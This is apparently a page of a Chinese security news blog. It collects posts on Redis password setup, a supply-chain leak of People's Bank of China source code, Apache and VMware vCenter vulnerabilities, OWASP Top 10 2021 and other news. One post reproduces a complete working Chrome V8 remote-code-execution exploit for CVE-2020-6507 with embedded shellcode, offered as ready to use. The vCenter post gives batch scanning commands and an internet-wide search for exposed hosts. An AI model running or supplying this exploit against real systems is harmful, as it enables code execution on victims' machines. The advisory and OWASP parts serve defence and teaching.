微慑信息网

业界快讯 第5页

Redis设置密码

微慑管理员阅读(1142)

Redis设置密码

设置密码有两种方式。

1. 命令行设置密码。

运行cmd切换到redis根目录,先启动服务端

>redis-server.exe

另开一个cmd切换到redis根目录,启动客户端

>redis-cli.exe -h 127.0.0.1 -p 6379

客户端使用config get requirepass命令查看密码

>config get requirepass
1)"requirepass"
2)""    //默认空

客户端使用config set requirepass yourpassword命令设置密码

>config set requirepass 123456
>OK

一旦设置密码,必须先验证通过密码,否则所有操作不可用

>config get requirepass
(error)NOAUTH Authentication required

使用auth password验证密码

>auth 123456
>OK
>config get requirepass
1)"requirepass"
2)"123456"

也可以退出重新登录

redis-cli.exe -h 127.0.0.1 -p 6379 -a 123456

命令行设置的密码在服务重启后失效,所以一般不使用这种方式。

2. 配置文件设置密码

在redis根目录下找到redis.windows.conf配置文件,搜索requirepass,找到注释密码行,添加密码如下:

# requirepass foobared
requirepass tenny     //注意,行前不能有空格

重启服务后,客户端重新登录后发现

>config get requirepass
1)"requirepass"
2)""

密码还是空?

网上查询后的办法:创建redis-server.exe 的快捷方式, 右键快捷方式属性,在目标后面增加redis.windows.conf, 这里就是关键,你虽然修改了.conf文件,但是exe却没有使用这个conf,所以我们需要手动指定一下exe按照修改后的conf运行,就OK了。

所以,这里我再一次重启redis服务(指定配置文件)

>redis-server.exe redis.windows.conf

客户端再重新登录,OK了。

>redis-cli.exe -h 127.0.0.1 -p 6379 -a 123456
>config get requirepass
1)"requirepass"
2)"123456"

疑问: redis目录下有两个配置文件redis.windows.conf和redis.windows-server.conf,看到网上有的人用前者有的人用后者,不清楚到底该用哪一个。看了下两个文件又没啥区别,个人就用前者了。

中国人民银行遭受供应链攻击事件

微慑管理员阅读(5384)

今天到处在流传这张图

图片

朋友跑来问我,是不是中国人民银行被黑客入侵了?这里先给结论:

  • 中国人民银行没有被入侵,这是供应链攻击!
  • 中国人民银行没有被入侵,这是供应链攻击
  • 中国人民银行没有被入侵,这是供应链攻击

ok,接下来分析下这到底是件什么事。

  • 0x1 先看原文

  • 0x2 是哪一家供应商被入侵了?

  • 0x3 被忽略的评论信息

  • 0x4 进一步分析

0x1 先看原文

这篇文章来自于国外 RAIDForum 论坛,名为 AgainstTheWest 的用户(简称ATW)在10月14日发的帖子图片

我简单进行翻译

来自ATW的问候:

我们花了两个月的时间,终于能有权访问到中国人民银行的内部资产。
本次泄露的信息包含了中国人民银行所有软件项目的源代码,以及漏洞信息、代码smells和debts、以及安全报告。

我们使用了供应链攻击,目前正处于潜伏状态。因此,对中国人民银行用来进行私有化软硬件代码协作的网络,我们可以保持持续访问。

通过本次入侵,我们收集到了以下信息:
- 自动化办公信创产品-用于帮助国有资产开发和设计安全措施的软件
- 长春人民银行大数据系统
- 产品服务器收集平台-大数据系统之间的链接服务器&信创OA
- ETL 平台服务端
- ETL 平台代理
- 江苏省法人金融机构风险监测系统
- 长沙人民银行国库大数据管理系统
- EAST 数据质量管理系统
- Db2ImportTool  (2021年10月)

需要通过 BTC或者ETH 支付,下面是一些证据。

这里有几张截图:

1、自动化办公信创产品图片

2、长春人民银行大数据系统图片

3、长沙人民银行国库大数据管理系统图片

总结一下,这里面的两个关键词:

  • 源码:标题和原文中一直强调的是源码泄露,而非网络被入侵。
  • 供应链:攻击者承认是通过供应链攻击拿到的源码。

那么,从中能推断出是哪一家供应链厂商吗?

0x2 是哪一家供应商被入侵了?

其实前面攻击者给出了这么多信息,找到被入侵厂家并不难。

图片

直接搜索泄露信息的系统名称 + “中标”,第一个链接就能找到中标厂商。

图片

再去招投标专用网站,反查一下“北京青麦科技有限公司”,结果反向证明了正确性:

图片
图片
图片

看看“北京青麦科技有限公司”的产品列表:

图片红色部分与ATW给出的系统清单能对应上。

EAST系统介绍
EAST系统全称Examination and Analysis System Technology,是银监会在2008年开发的具有自主知识产权的检查分析系统,旨在顺应大数据发展趋势需求,并帮助监管部门提高检查效能。系统包含银行标准化数据提取、现场检查项目管理、数据模型生成工具、数据模型发布与管理等功能模块。

同时,该公司典型案例中也包括了中国人民银行。

图片

基于以上信息,基本可以推测是该厂商被ATW花了2个月入侵成功,拿到了为中国人民银行开发的一些系统源码。

0x3 被忽略的评论信息

从目前的信息来看,只能证明是供应链攻击,并未入侵到人民银行内部网络。

那么,危害仅此而已吗?图片

当有人问道,是否有数据泄露,攻击者在下面答复到:

“大数据系统”中硬编码了管理员凭证,可以用来连接存储了用户敏感信息的管理服务端,我只能说到这里了。

攻击者提到了两个大数据系统:

  • 产品服务器收集平台-大数据系统之间的链接服务器&信创OA
  • 长沙人民银行国库大数据管理系统

假设是第二个系统,会不会有互联网通路可以访问到呢?目前不得而知。

0x4 进一步分析

针对供应链厂家被入侵,从“横向”和“纵向”两方面来做进一步分析。

纵向来看,攻击者针对“中国人民银行”还能做哪些事情?

  • 源码审计。找出应用系统存在的漏洞、泄露的凭证信息,为进一步渗透做准备。
  • 内外勾结。通过社工方式买通具备敏感系统访问权限的人员,例如外包公司。
  • 供应链污染。在源码里面放置后门,等待部署上线。

横向来看,该公司的客户众多,攻击者可以:

  • 捡软柿子入手。找到安全防护能力偏弱的银行,进入其办公网络。比如下图的“办公系统”,很可能未作物理隔离。
  • 迂回到核心。在软柿子内部进一步渗透,找到专有网络的入口点,攻击核心。
图片

综上,目前需要紧急动员起来开展自查的,可能是一些中小银行。作为央妈,经过多轮的实战攻防,网络隔离+物理隔离,理论上攻击难度会非常大。

时间有限,以上仅为简单分析,欢迎讨论。

Apache HTTP Server路径穿越漏洞 (CVE-2021-41773)

微慑管理员阅读(2181)

漏洞概述

2021年10月5日,Apache官方发布了一批漏洞信息,其中Apache HTTP Server路径穿越漏洞CVE-2021-41773引起了我们的注意:

CVE-2021-41773

https://httpd.apache.org/security/vulnerabilities_24.html

漏洞在v2.4.50版本中进行了修复,并且只影响该版本。从Apache官方声明来看,攻击者可以使用路径遍历攻击将URL映射到预期文档根以外的文件。如果文档根目录以外的文件不受`require all denied`保护,则攻击者可以访问这些文件。

漏洞分析

下面着手分析一下这个漏洞的成因,直接看源代码可能很难找到漏洞位置,这里通过二进制补丁对比来找到关键函数,可以看到发生变化的函数不多,就下面几个:

容易定位到函数`ap_normalize_path`,其增加了一段判断:

补丁前的代码:

补丁后的代码(增加了对`%2e`进行了处理):

看反汇编有点晕,直接定位到源代码就非常清楚了,在老版本中只处理了`/xx/../`这样的路径,而没有正确处理`/xx/.%2e/`,导致`%2e`被带入后续的处理,发生目录穿越。

v2.4.49版本的源代码:

v2.4.50版本中新增的代码:

漏洞复现

理解漏洞原理之后,复现漏洞就很简单了。

后记

这个漏洞是一个非常典型的目录穿越漏洞,发生在Apache这样应用广泛的服务端软件中实在令人匪夷所思。因此我们继续看了httpd更早期的版本,发现在早期版本中并没有`ap_normalize_path`这个函数,该函数是在v2.4.49版本中引入的。该案例告诉我们:新功能的引入可能会带来不确定的安全隐患。

参考

https://httpd.apache.org/security/vulnerabilities_24.html

https://dlcdn.apache.org/httpd/CHANGES_2.4.50

 

 

pymysql 报错:from . import connections # noqa: E402

微慑管理员阅读(1709)

报错内容,所在文件

/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/site-packages/peewee.py

try:
    import MySQLdb as mysql  # prefer the C module.
except ImportError:
    try:
        import pymysql as mysql
    except ImportError:
        mysql = None
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8

venv/lib/python3.6/site-packages/pymysql/init.py

from . import connections as _orig_conn
  • 1
  • 2

原因

  1. 使用的python版本为3.5
  2. Flask-MySQL使用了peewee;Flask-MySQL 会安装PyMySQL的最新版
  3. peewee使用 MySQLdb 或 pymysql 来连接MySQL数据库
  4. PyMySQL的最新版,不支持Python 2.7 和 3.5版本了(而我使用的是3.5版本),所以peewee报错

解决

不使用 Flask-MySQL 安装的PyMySQL最新版,指定PyMySQL版本为0.10.1,sudo pip3 install pymysql==0.10.1

资料

转载至https://www.cnblogs.com/cag2050/p/14267900.html

特斯拉CEO:所有中国用户个人信息都安全储存在中国

微慑管理员阅读(1206)

图片

据中国青年网浙江乌镇20219月26日报道,由国家网信办和浙江省政府共同举办的2021年世界互联网大会乌镇峰会今天上午在浙江乌镇召开。特斯拉公司首席执行官伊隆·马斯克在主题演讲发言时指出,特斯拉已在中国建立数据中心,所有中国用户个人信息都安全储存在中国。

伊隆·马斯克表示,数据安全是智联网汽车成功的关键。它不仅与个人利益密切相关,同时也和整个社会利益息息相关,特斯拉认同相关法律法规出台加强数据管理。

伊隆·马斯克介绍,目前,特斯拉已经在中国建立了数据中心,用来存储中国用户的所有数据,包括生产、销售、服务、充电数据等,以及所有个人信息都安全储存在中国国内,不会转移到海外。只有在需要从海外订购备件等极为罕见的情况下,个人数据才会在获得相关批准后进行转移。

伊隆·马斯克说,数据保护应该由整个行业共同努力来完成,特斯拉正与监管机构通力合作,寻找数据安全的最佳解决方案。

本文源自:中国青年网,作者:董志成

 

Google Chrome 81.0.4044 V8 - Remote Code Execution

微慑管理员阅读(1795)

# Exploit Title: Google Chrome 81.0.4044 V8 - Remote Code Execution
# Date: 05/04/2021
# Exploit Author: Tobias Marcotto
# Tested on: Kali Linux x64 
# Version: 83.0.4103.106
# Description: Out of bounds write in V8 in Google Chrome prior to 83.0.4103.106 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page.
# CVE: CVE-2020-6507


*********************************************************************************************************


var buf = new ArrayBuffer(8);
var f64_buf = new Float64Array(buf);
var u64_buf = new Uint32Array(buf);

var arraybuf = new ArrayBuffer(0x13373);
var wasm_code = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 4, 1, 96, 0, 0, 3, 2, 1, 0, 7, 9, 1, 5, 115, 104, 101, 108, 108, 0, 0, 10, 4, 1, 2, 0, 11]);
var mod = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(mod);
var shell = wasm_instance.exports.shell;
var obj_array = [1337331,1337332,1337333,1337334,wasm_instance,wasm_instance,1337336,1337337];

var shellcode = new Uint8Array([72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72, 184, 46, 99, 104, 111, 46, 114, 105, 1, 72, 49, 4, 36, 72, 137, 231, 104, 59, 49, 1, 1, 129, 52, 36, 1, 1, 1, 1, 72, 184, 68, 73, 83, 80, 76, 65, 89, 61, 80, 49, 210, 82, 106, 8, 90, 72, 1, 226, 82, 72, 137, 226, 106, 99, 72, 184, 98, 105, 110, 47, 120, 99, 97, 108, 80, 72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72, 184, 44, 98, 1, 46, 116, 114, 115, 46, 72, 49, 4, 36, 72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72, 184, 46, 99, 104, 111, 46, 114, 105, 1, 72, 49, 4, 36, 49, 246, 86, 106, 19, 94, 72, 1, 230, 86, 106, 24, 94, 72, 1, 230, 86, 106, 24, 94, 72, 1, 230, 86, 72, 137, 230, 106, 59, 88, 15, 5, 0]);

function ftoi(val) {
         f64_buf[0] = val;
         return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n);
}
function itof(val) {
         u64_buf[0] = Number(val & 0xffffffffn);
         u64_buf[1] = Number(val >> 32n);
         return f64_buf[0];
}

array = Array(0x40000).fill(1.1);
args = Array(0x100 - 1).fill(array);
args.push(Array(0x40000 - 4).fill(2.2));
giant_array = Array.prototype.concat.apply([], args);
giant_array.splice(giant_array.length, 0, 3.3, 3.3, 3.3);

length_as_double =
    new Float64Array(new BigUint64Array([0x2424242400000001n]).buffer)[0];

function trigger(array) {
  var x = array.length;
  x -= 67108861;
  x = Math.max(x, 0);
  x *= 6;
  x -= 5;
  x = Math.max(x, 0);

  let corrupting_array = [0.1, 0.1];
  let corrupted_array = [0.1];

  corrupting_array[x] = length_as_double;
  return [corrupting_array, corrupted_array];
}

for (let i = 0; i < 30000; ++i) {
  trigger(giant_array);
}

corrupted_array = trigger(giant_array)[1];

var search_space = [[(0x8040000-8)/8, 0x805b000/8], [(0x805b000)/8, (0x83c1000/8)-1], [0x8400000/8, (0x8701000/8)-1], [0x8740000/8, (0x8ac1000/8)-1], [0x8b00000/8, (0x9101000/8)-1]];
function searchmem(value)
{
	skip = 0;
	for(i=0; i<search_space.length; ++i)
	{
		for(j=search_space[i][0];j<search_space[i][1];++j)
		{
			if(((ftoi(corrupted_array[j])) >> 32n) === value || (((ftoi(corrupted_array[j])) & 0xffffffffn) === value))
			{
				if(skip++ == 2) // Probably the first two are due to the search itself
					return j;
			}
		}
	}
	return -1;
}

function searchmem_full(value)
{
	for(i=0;i<search_space.length;++i)
	{
		for(j=search_space[i][0];j<search_space[i][1];++j)
		{
			if((ftoi(corrupted_array[j]) === value))
			{
				if((((ftoi(corrupted_array[j+2]) >> 56n) & 0xffn) == 8n) && (((ftoi(corrupted_array[j+2]) >> 24n) & 0xffn) == 8n))
				{
					return j;
				}
			}
		}
	}
	return -1;
}

var arraybuf_idx = searchmem(0x13373n);
if(arraybuf_idx == -1)
{
	alert('Failed 1');
	throw new Error("Not found");
}
document.write("Found arraybuf at idx: " + arraybuf_idx + "<br>");
function arb_read(addr, length)
{
	var data = [];
	let u8_arraybuf = new Uint8Array(arraybuf);
	corrupted_array[arraybuf_idx+1] = itof(addr);
	for(i=0;i<length;++i)
		data.push(u8_arraybuf[i]);
	return data;
}

function arb_write(addr, data)
{
	corrupted_array[arraybuf_idx+1] = itof(addr);
	let u8_arraybuf = new Uint8Array(arraybuf);
	for(i=0;i<data.length;++i)
		u8_arraybuf[i] = data[i];
}

idx = searchmem_full((1337332n << 33n) + (1337331n << 1n));
if (idx == -1)
{
	alert('Failed 2');
	throw new Error("Not found");
}

wasm_addr = ftoi(corrupted_array[idx+2]) & 0xffffffffn;
document.write("Wasm instance: 0x"+wasm_addr.toString(16) + "<br>");
rwx_idx = Number((wasm_addr-1n+0x68n)/8n);
rwx_addr = ftoi(corrupted_array[rwx_idx-1]);
if ((wasm_addr & 0xfn) == 5n || (wasm_addr & 0xfn) == 0xdn)
{
	rwx_addr >>= 32n;
	rwx_addr += (ftoi(corrupted_array[rwx_idx]) & 0xffffffffn) << 32n;
}
document.write("rwx addr: 0x"+rwx_addr.toString(16));
arb_write(rwx_addr, shellcode);
shell();
            

【 CVE-2021-22005】VMware vCenter Server未授权任意文件上传漏洞 -附检测脚本

微慑管理员阅读(3132)

0x01 漏洞简介:

    VMware vCenter Server 提供了一个可伸缩、可扩展的平台,为虚拟化管理奠定了基础。可集中管理VMware vSphere环境,与其他管理平台相比,极大地提高了 IT 管理员对虚拟环境的控制。

0x02 漏洞来源:

https://www.vmware.com/security/advisories/VMSA-2021-0020.html

0x03 漏洞等级:

高危

0x04 漏洞影响:

攻击者可通过VMware vCenter Server 443端口上传恶意文件,在vCenter Server上执行任意代码。

0x05 影响范围:

根据ZoomEye网络空间搜索引擎对潜在可能目标进行搜索,共得到7,034条IP历史记录,主要分布在美国、中国等国家。

ZoomEye语法:

app:"VMware vCenter"

【漏洞速递+检测脚本 | CVE-2021-22005】VMware vCenter Server未授权任意文件上传漏洞

ZoomEye搜索链接:

https://www.zoomeye.org/searchResult?q=app%3A%22VMware%20vCenter%22

【漏洞速递+检测脚本 | CVE-2021-22005】VMware vCenter Server未授权任意文件上传漏洞

全球分布:

【漏洞速递+检测脚本 | CVE-2021-22005】VMware vCenter Server未授权任意文件上传漏洞

0x06 漏洞检测:

python cli.py -r pocs20210923_WEB_Vmware_vCenter_Server_FIleUpload_CVE-2021-20050.py -u  https://*.*.*.* --verify

单个检测:

【漏洞速递+检测脚本 | CVE-2021-22005】VMware vCenter Server未授权任意文件上传漏洞

批量检测:

python cli.py -r pocs20210923_WEB_Vmware_vCenter_Server_FIleUpload_CVE-2021-20050.py -f 1.txt --verify

【漏洞速递+检测脚本 | CVE-2021-22005】VMware vCenter Server未授权任意文件上传漏洞

获取脚本直达车↓↓↓

https://github.com/knownsec/pocsuite3/blob/master/pocsuite3/pocs/20210923_WEB_Vmware_vCenter_Server_FIleUpload_CVE-2021-20050.py

说到这里就简要介绍一下个人感觉非常好用的一款神器pocsuite3

    PocSuite3是Knownsec 404安全研究团队设计的一款远程漏洞测试以及PoC开发框架,该框架使用了功能极其强大的概念验证引擎,并自带了大量渗透测试以及安全分析功能。

功能介绍

1、PoC脚本能够以attack、verify和shell等多种模式运行;2、自带插件生态系统;3、 可从本地文件、Redis和数据库等不同来源动态加载PoC脚本;4、 可从CIDR、本地文件、Redis、数据库、Zoomeye和Shodan等来源加载多个测试目标;5、 轻松导出测试结果;6、 支持命令行工具和Python包导入;7、 支持IPv6;8、 支持全局HTTP/HTTPS/SOCKS代理;9、 提供了强大的爬虫API;10、整合Seebug;11、整合ZoomEye;12、整合Shodan;13、整合Ceye;14、等等…

关于pocsuite3的详细使用可以借鉴这个文档,这里不一一介绍!因为文档比较详细【漏洞速递+检测脚本 | CVE-2021-22005】VMware vCenter Server未授权任意文件上传漏洞

https://github.com/knownsec/pocsuite3/tree/master/docs

0x07 建议解决方案:

官方已修复该漏洞,请受影响的用户及时安装安全补丁或升级至最新安全版本,详情:

https://kb.vmware.com/s/article/85717

0x08 参考链接:

  • https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=CVE-2021-22005https://www.vmware.com/security/advisories/VMSA-2021-0020.htmlhttps://mp.weixin.qq.com/s/UcH-IOUOtO6rsWWetc6O-Ahttps://mp.weixin.qq.com/s/_3Hx7plsyjEcNIx45uw8DQ

原文始发于微信公众号(渗透Xiao白帽):【漏洞速递+检测脚本 | CVE-2021-22005】VMware vCenter Server未授权任意文件上传漏洞

2021年广西网络安全事件应急演练在南宁举行

微慑管理员阅读(1718)

9月7日,由自治区党委网信办主办的2021年广西网络安全事件应急演练复盘活动在南宁举行。本次演练通过模拟重点行业遇到网络安全突发事件,检验有关单位的应急处置能力。

当天,区直和中直驻桂相关单位、各市党委网信办、南宁市相关单位负责网络安全工作的同志共约200人参加了活动,集中观看了2021年广西网络安全事件应急演练视频。演练采用情景模拟的形式,模拟了广西电力市场交易系统遭受勒索病毒入侵启动网络安全应急II级响应,以及广西电网公司门户网站被恶意文件上传启动安全应急IV级响应两个科目。

“报告!系统检测发现异常,存在恶意文件的告警信息!”视频中,广西电网公司信息中心的技术人员发现异常情况后,马上向上级领导汇报。该单位迅速组织研判,立即启动应急预案。随后,各个部门人员紧密配合,按照预案和职责有条不紊地组织应急处置工作。最终,顺利解决了网络安全突发事件。

自治区党委网信办副主任黄勇表示,通过举办2021年广西网络安全事件应急演练复盘活动,检验了重点行业应对网络安全突发事件的组织指挥、整体协作、应急处置能力,提高我区网络安全技术支撑队伍实战水平,也为第18届中国—东盟博览会、中国—东盟商务与投资峰会的顺利安全召开提供有力保障。

此外,在本次活动中,南宁市委网信办通报了服务第18届东博会和峰会网络安全实战攻防演习的情况,该演习在可控环境下模拟黑客组织对涉及东博会和峰会的互联网目标开展攻防,检验了相关系统的安全性,排查了安全隐患。下一步将对风险隐患进行督促整改、持续开展技术攻防、组织技术队伍开展整改复测和复查等,保证风险隐患整改清零。

本文由南国早报原创出品,未经许可,任何渠道、平台请勿转载。违者必究。

OWASP Top 10 2021 全新出炉

微慑管理员阅读(1984)

OWASP Top 10 2021 是全新的,具有新的图形设计和一页有用的信息图。

2021 年前 10 名发生了什么变化

有三个新类别,四个类别的命名和范围发生了变化,并且 2021 年的前 10 名中进行了一些合并。

图片

A01:2021-Broken Access Control 失效的访问控制

从第五位上升;94% 的应用程序都经过了某种形式的破坏访问控制的测试。映射到 Broken Access Control 的 34 个 CWE 在应用程序中出现的次数比任何其他类别都多。

A02:2021-Cryptographic Failures 加密失败

上移一位至 #2,以前称为敏感数据泄露,这是广泛的症状而不是根本原因。此处重新关注与密码学相关的漏洞,这些漏洞通常会导致敏感数据泄露或系统受损。

A03:2021-Injection 注入

下滑到第三位。94% 的应用程序都针对某种形式的注入进行了测试,映射到此类别的 33 个 CWE 在应用程序中的出现次数排名第二。跨站点脚本攻击现在是此版本中此类别的一部分。

A04:2021-不安全的设计

是2021 年的一个新类别,重点关注与设计缺陷相关的风险。如果我们真的想作为一个行业“安全左移”,就需要更多地使用威胁建模、安全设计模式和原则以及参考架构。

A05:2021-安全配置错误

从上一版的第 6 位上升;90% 的应用程序都经过了某种形式的错误配置测试。随着更多定制性高度可配置的软件,看到这一类别上升也就不足为奇了。XML 外部实体 (XXE) 的前一个类别现在属于此类别。

A06:2021-Vulnerable and Outdated Components 易受攻击和过时的组件

之前的标题是 使用具有已知漏洞的组件,在行业调查中排名第二,但也有足够的数据通过数据分析进入前 10 名。该类别从 2017 年的第 9 位上升,是我们难以测试和评估风险的已知问题。它是唯一没有任何 CVE 映射到包含的 CWE 的类别,因此默认的利用和影响权重 5.0 被计入他们的分数。

A07:2021-Identification and Authentication Failures 认证和授权失败

以前是 Broken Authentication 失效的身份认证并且从第二位下滑,现在包括与识别失败更多相关的 CWE。这个类别仍然是前 10 名的一个组成部分,但标准化框架的可用性增加似乎有所帮助。

A08:2021-软件和数据完整性故障

是 2021 年的一个新类别,专注于在不验证完整性的情况下做出与软件更新、关键数据和 CI/CD 管道相关的假设。CVE/CVSS 数据的最高加权影响之一映射到该类别中的 10 个 CWE。2017 年的不安全反序列化现在是这一更大类别的一部分。

A09:2021-安全日志记录和监控失败

以前是 日志记录和监控不足,是从行业调查 (#3) 中添加的,从之前的 #10 上升。此类别已扩展为包括更多类型的故障,难以测试,并且在 CVE/CVSS 数据中没有得到很好的体现。但是,此类故障会直接影响可见性、事件警报和取证。

A10:2021-Server-Side Request Forgery 服务器请求伪造

是从行业调查 (#1) 中添加的。数据显示发生率相对较低,测试覆盖率高于平均水平,并且利用和影响潜力的评级高于平均水平。此类别代表行业专业人士告诉我们这很重要的场景,即使目前数据中没有说明。

前 10 名的这一部分比以往任何时候都更受数据驱动,但并非盲目地受数据驱动。我们从贡献的数据中选择了十个类别中的八个,从高水平的行业调查中选择了两个类别。我们这样做的根本原因是,查看贡献的数据就是回顾过去。AppSec 研究人员花时间寻找新的漏洞和测试它们的新方法。将这些测试集成到工具和流程中需要时间。当我们能够可靠地大规模测试漏洞时,可能已经过去了很多年。为了平衡这种观点,我们使用行业调查来询问一线人员他们认为数据可能尚未显示的漏洞。

图片

有很多关于十大风险之间重叠的讨论。根据每个(包括 CWE 列表)的定义,确实没有任何重叠。但是,从概念上讲,可能存在基于更高级别命名的重叠或交互。维恩图多次用于显示这样的重叠。

上面的维恩图代表了 2017 年十大风险类别之间的相互作用。这样做时,几个要点变得明显:

有人可能会争辩说,跨站点脚本最终属于注入,因为它本质上是内容注入。看看 2021 年的数据,XSS 需要进入注入变得更加明显。

重叠仅在一个方向。我们通常会根据最终表现或“症状”而不是(可能很深的)根本原因对漏洞进行分类。例如,“敏感数据暴露”可能是“安全配置错误”的结果;但是,您不会从另一个方向看到它。因此,在交互区域中绘制了箭头以指示发生的方向。

有时这些图表是用A06:2021 Using Components with known Vulnerabilities 中的所有内容绘制的。虽然其中一些风险类别可能是第三方漏洞的根本原因,但它们的管理方式和责任通常不同。其他类型通常代表第一方风险。

A01:2021 – 失效的访问控制

概述

从第五位上升,94% 的应用程序都经过了某种形式的访问控制损坏测试。值得注意的CWE包括CWE-200:将敏感信息暴露给未经授权的参与者CWE-201:通过发送的数据暴露敏感信息CWE-352:跨站点请求伪造

描述

访问控制强制执行策略,使用户不能在其预期权限之外采取行动。故障通常会导致未经授权的信息泄露、修改或破坏所有数据或执行超出用户限制的业务功能。常见的访问控制漏洞包括:

  • 通过修改 URL、内部应用程序状态或 HTML 页面,或仅使用自定义 API 攻击工具来绕过访问控制检查。

  • 允许将主键更改为其他用户的记录,允许查看或编辑其他人的帐户。

  • 特权提升。在未登录的情况下充当用户或以用户身份登录时充当管理员。

  • 元数据操作,例如重放或篡改 JSON Web 令牌 (JWT) 访问控制令牌,或用于提升权限或滥用 JWT 失效的 cookie 或隐藏字段。

  • CORS 错误配置允许未经授权的 API 访问。

  • 强制以未经身份验证的用户身份浏览经过身份验证的页面或以标准用户身份浏览特权页面。访问 API 时缺少对 POST、PUT 和 DELETE 的访问控制。

如何预防

访问控制仅在受信任的服务器端代码或无服务器 API 中有效,攻击者无法修改访问控制检查或元数据。

  • 除公共资源外,默认拒绝。

  • 实施一次访问控制机制并在整个应用程序中重复使用它们,包括最大限度地减少 CORS 的使用。

  • 模型访问控制应该强制记录所有权,而不是接受用户可以创建、读取、更新或删除任何记录。

  • 独特的应用程序业务限制要求应由领域模型强制执行。

  • 禁用 Web 服务器目录列表并确保文件元数据(例如 .git)和备份文件不在 Web 根目录中。

  • 记录访问控制失败,在适当时提醒管理员(例如,重复失败)。

  • 速率限制 API 和控制器访问,以最大限度地减少自动攻击工具的危害。

  • 注销后,JWT 令牌应在服务器上失效。

攻击场景示例

场景 #1:应用程序在访问帐户信息的 SQL 调用中使用未经验证的数据:

pstmt.setString(1, request.getParameter(“acct”));

结果集结果 = pstmt.executeQuery();

攻击者只需修改浏览器的“acct”参数即可发送他们想要的任何帐号。如果没有正确验证,攻击者可以访问任何用户的帐户。

https://example.com/app/accountInfo?acct=notmyacct

场景#2:攻击者只是强制浏览到目标 URL。访问管理页面需要管理员权限。

https://example.com/app/getappInfo

https://example.com/app/admin_getappInfo

如果未经身份验证的用户可以访问任一页面,则这是一个缺陷。如果非管理员可以访问管理页面,这是一个缺陷。

A02:2021 – 加密失败

概述

上移一个位置到#2,以前称为敏感数据暴露,这更像是一个广泛的症状而不是根本原因,重点是与密码学相关的失败(或缺乏密码学)。这往往会导致敏感数据的暴露。值得注意的CWE包括CWE-259:使用硬编码密码CWE-327:损坏或风险的加密算法CWE-331 熵不足

描述

首先是确定传输中和静止数据的保护需求。例如,密码、信用卡号、健康记录、个人信息和商业秘密需要额外保护,主要是如果该数据属于隐私法(例如欧盟的通用数据保护条例 (GDPR))或法规(例如金融数据保护)例如 PCI 数据安全标准 (PCI DSS)。对于所有此类数据:

  • 是否有任何数据以明文形式传输?这涉及 HTTP、SMTP 和 FTP 等协议。外部互联网流量是危险的。验证所有内部流量,例如,负载平衡器、Web 服务器或后端系统之间的流量。

  • 默认情况下或在较旧的代码中是否使用任何旧的或弱的加密算法?

  • 是否正在使用默认加密密钥、生成或重复使用弱加密密钥,或者是否缺少适当的密钥管理或轮换?

  • 是否未强制执行加密,例如,是否缺少任何用户代理(浏览器)安全指令或标头?

  • 用户代理(例如,应用程序、邮件客户端)是否不验证收到的服务器证书是否有效?

如何预防

至少执行以下操作,并查阅参考资料:

  • 对应用程序处理、存储或传输的数据进行分类。根据隐私法、监管要求或业务需求确定哪些数据是敏感的。

  • 根据分类应用控制。

  • 不要不必要地存储敏感数据。尽快丢弃它或使用符合 PCI DSS 的标记化甚至截断。未保留的数据不能被窃取。

  • 确保加密所有静态敏感数据。

  • 确保拥有最新且强大的标准算法、协议和密钥;使用适当的密钥管理。

  • 使用安全协议(例如具有完美前向保密 (PFS) 密码的 TLS、服务器的密码优先级和安全参数)加密所有传输中的数据。使用 HTTP 严格传输安全 (HSTS) 等指令强制加密。

  • 对包含敏感数据的响应禁用缓存。

  • 使用具有工作因子(延迟因子)的强自适应和加盐散列函数存储密码,例如 Argon2、scrypt、bcrypt 或 PBKDF2。

  • 独立验证配置和设置的有效性。

攻击场景示例

场景#1:应用程序使用自动数据库加密对数据库中的信用卡号进行加密。但是,此数据在检索时会自动解密,从而允许 SQL 注入缺陷以明文形式检索信用卡号。

场景#2:站点不使用或对所有页面强制执行 TLS 或支持弱加密。攻击者监视网络流量(例如,在不安全的无线网络中),将连接从 HTTPS 降级为 HTTP,拦截请求并窃取用户的会话 cookie。然后攻击者重放这个 cookie 并劫持用户的(经过身份验证的)会话,访问或修改用户的私人数据。除了上述之外,他们还可以更改所有传输的数据,例如,汇款的接收者。

场景#3:密码数据库使用未加盐或简单的哈希来存储每个人的密码。文件上传缺陷允许攻击者检索密码数据库。所有未加盐的哈希值都可以通过预先计算的哈希值彩虹表公开。由简单或快速散列函数生成的散列可能会被 GPU 破解,即使它们被加盐。

A03:2021 – 注入

概述

注射向下滑动到第三个位置。94% 的应用程序都针对某种形式的注入进行了测试。值得注意的CWE包括 CWE-79:跨站点脚本CWE-89:SQL 注入CWE-73:文件名或路径的外部控制

描述

应用程序在以下情况下容易受到攻击:

  • 应用程序不会验证、过滤或清理用户提供的数据。

  • 没有上下文感知转义的动态查询或非参数化调用直接在解释器中使用。

  • 在对象关系映射 (ORM) 搜索参数中使用恶意数据来提取额外的敏感记录。

  • 直接使用或连接恶意数据。SQL 或命令包含动态查询、命令或存储过程中的结构和恶意数据。

一些更常见的注入是 SQL、NoSQL、OS 命令、对象关系映射 (ORM)、LDAP 和表达式语言 (EL) 或对象图导航库 (OGNL) 注入。这个概念在所有口译员中都是相同的。源代码审查是检测应用程序是否容易受到注入攻击的最佳方法。强烈建议对所有参数、标头、URL、cookie、JSON、SOAP 和 XML 数据输入进行自动化测试。组织可以将静态源 (SAST) 和动态应用程序测试 (DAST) 工具包含到 CI/CD 管道中,以在生产部署之前识别引入的注入缺陷。

如何预防

  • 防止注入需要将数据与命令和查询分开。

  • 首选选项是使用安全的 API,它完全避免使用解释器,提供参数化接口,或迁移到对象关系映射工具 (ORM)。

  • 注意:即使在参数化时,如果 PL/SQL 或 T-SQL 连接查询和数据或使用 EXECUTE IMMEDIATE 或 exec() 执行恶意数据,则存储过程仍然会引入 SQL 注入。

  • 使用正面或“白名单”服务器端输入验证。这不是一个完整的防御,因为许多应用程序需要特殊字符,例如文本区域或移动应用程序的 API。

  • 对于任何残留的动态查询,使用该解释器的特定转义语法转义特殊字符。

